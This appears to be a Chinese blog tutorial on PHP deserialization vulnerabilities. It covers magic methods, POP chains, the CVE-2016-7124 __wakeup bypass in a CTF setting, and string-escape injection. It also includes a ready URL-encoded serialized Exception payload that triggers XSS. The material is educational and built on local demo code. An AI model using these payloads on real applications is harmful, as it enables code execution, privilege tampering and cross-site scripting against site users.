1、php反序列化介绍
PHP中的反序列化(unserialization)是将序列化(serialization)后的数据重新转换为PHP对象或数据结构的过程。序列化是将PHP对象转换为可以存储或传输的字符串表示形式的过程,而反序列化则是将这些字符串再转换回原始的PHP对象或数据结构。
解释:为了解决开发中数据传输和数据解析的一个情况(例如购买组装电脑,发货过来都是单个零件的,到货之后再重新组装起来)
2、漏洞产生原理
反序列化漏洞产生的原因我个人总结就是反序列化处的参数用户可控,服务器接收我们序列化后的字符串并且未经过滤把其中的变量放入一些魔术方法里面执行,这就很容易产生漏洞。
3、常见php魔术方法
__construct()://当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
__sleep()://serialize()执行时被自动调用
__wakeup()://unserialize()时会被自动调用
__invoke()://当尝试以调用函数的方法调用一个对象时会被自动调用
__toString()://把类当作字符串使用时触发
__call()://调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
__callStatic()://在静态上下文中调用不可访问的方法时触发
__get()://读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数
__set()://设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
__isset()://在不可访问的属性上调用isset()或empty()触发
__unset()://在不可访问的属性上使用unset()时触发
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
4、基本pop链构造示例
POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
想要执行cmd,需要触发__destruct():(当对象被销毁时或脚本结束时会被自动调用)才可以执行cmd。
没有对象,只需要创建一个对象,程序结束时自动调用此魔术方法,那么就造成rce。
pop链构造:
因为先前创建了一个对象,去触发的该魔术方法,而对象的功能取决于类定义中包含的属性和方法。我们只需要修改属性的值,就达到执行任意命令的操作。
tips:反序列化造成什么样的安全问题,取决于魔术方法下面用的什么东西导致的,比如做了输出可能会造成跨站等。
关键阶段性魔术方法
5、属性类型特征
PHP-属性类型-共有&私有&保护
1、对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
2、序列化数据显示:
public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
6、CVE绕过漏洞
1、CVE-2016-7124(__wakeup绕过)
漏洞编号:CVE-2016-7124
影响版本:PHP5<5.6.25;PHP7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行。
2、搭建本地环境测试的确先调用__wakeup方法。
3、ctf案例:
输出flag的条件为username必须等于admin,用户名密码我们可以自己更改,但是调用unserilize()方法前则先调用__wakeup方法。就算输入admin那么执行wakeup方法时会将username替换成guest,即不满足输出flag条件。
我们只需要跳过该魔术方法即可,序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行。
4、构造序列化
5、标红处一开始为2,只需要将对象属性个数的值大于原来的2即可跳出该方法,输入3跳出。
7、字符串逃逸
对于PHP反序列字符逃逸我们分为以下两种情况
过滤后字符变多
过滤后字符变少
1、字符变多
想要输出flag is niubi 必须满足isvip的值为1,这个在构造时可以修改为1,发现下面还有一层过滤,将输入的admin过滤为hacker。属于过滤后字符变多。(在构造时其实只满足isvip=1时也可以输出flag,由于代码水平比较低,这里只是实现了这个效果去演示)。
问题:由于每增加一次就会多出来一个字符,导致变量名与变量长度不一致解析出现问题 后面这些不能正常运行";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}。
要想把后面的正常执行,也就是利用每次多出来一个字符位置的空子去把后面没有被执行的字符给填进去(为了满足被过滤之后的变量名长度) 直到把后面所有的都逃逸出去(";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}),占用掉多余的字符空子,这样就符合了变量名长度。
一个admin只能带一位数,后面47位数(";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}),就要带入47个admin 如果过滤成hackerr 多了两位 也就是一个admin 可以把两个字符带进去,如果需要带二十位数据。也就是后面还剩二十位,20÷2=10 需要输入10个admin 就好了。
2、完整代码构造
<?php
class user
{
public $username='admin';
public $password='123456';
public $isVIP='1';
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 1;
}
}
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
$p='123456';
$obj = new user($u,$p);
//echo serialize($obj);
echo filter(serialize($obj));
3、结果输出
4、字符变少
<?php
class user
{
public $username;
public $password;
public $isVIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
function login(){
$isVip=$this->isVIP;
if($isVip==1){
echo 'flag is niubi';
}else{
echo 'fuck';
}
}
}
function filter($obj) {
return preg_replace("/admin/","hack",$obj);
}
$obj=$_GET['x'];
if(isset($obj)){
$o=unserialize($obj);
$o->login();
}else{
echo 'fuck';
}
问题:因为每减少一次就会被吞掉后面原来的一个字符,导致解析出现问题。
解决:既然每次都会吞掉一个 那么就把不可控的都吞掉 在可控的上面重新赋值,目的是为了把不可控的吞掉 在可控的上面补全被吞的和后面缺失的,
;s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
吞掉原有的password值,再从可靠变量中添加新值!
结合被过滤差的位数(例如admin被过滤成hac) 和需要被吞掉值的长度 也就是到下一个可控变量的字符串长度 如果差是两位,需要被吞掉的长度
是22位数 那么输入一次就可以被吞两位数值 输入11次 才可以完全被吞掉。然后到达可控变量,重新给可控变量
赋值 为';s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}' 也就是把从"admin"往后的所有都补全。
当字符增多:在输入的时候再加上精心构造的字符。经过过滤函数,字符变多之后,就把我们构造的给挤出来。从而实现字符逃逸。
当字符减少:在输入的时候再加上精心构造的字符。经过过滤函数,字符减少后,会把原有的吞掉,使构造的字符实现代替。
8、原生类
利用场景:没有看到魔术方法利用的情况下使用的
利用方法:使用魔术方法的原生类去利用
tips:需要把一些环境模块开关全部开启,这样才可以得到更多原生类,有更多可能。
魔术方法原生类生成脚本
<?php
$classes=get_declared_classes();
foreach($classesas$class){
$methods=get_class_methods($class);
foreach($methodsas$method){
if(in_array($method,array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))){
print$class.'::'.$method."\n";
}
}
}
本地搭建demo测试 (基础php利用原生类进行xss)
1、构造原生类利用
发现echo 输出被当作字符串时会触发tostring方法(上图解释)利用tostring的原生类构造。
<?php
//新建异常类 借助异常 让显示<script>alert('hkone')</script>
$a = new Exception("<script>alert('hkone')</script>");
echo urlencode(serialize($a));
解释:把报错信息改成xss代码,报错就显示<script>alert('hkone')</script>。
1)、生成一个异常的序列化数据
2)、执行echo $a触发了tostring,利用魔术方法内置的类的报错方法输出异常就触发了<script>alert('hkone')</script>,也就是刚刚有报错信息就显示js代码。
2、序列化结果:
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A31%3A%22%3Cscript%3Ealert%28%27hkone%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A57%3A%22D%3A%5Cphp%5Cphpstudy%5Cphpstudy_pro%5CWWW%5Cdemo01%5Cpop%5Cphpfxlh%5C4.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A14%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D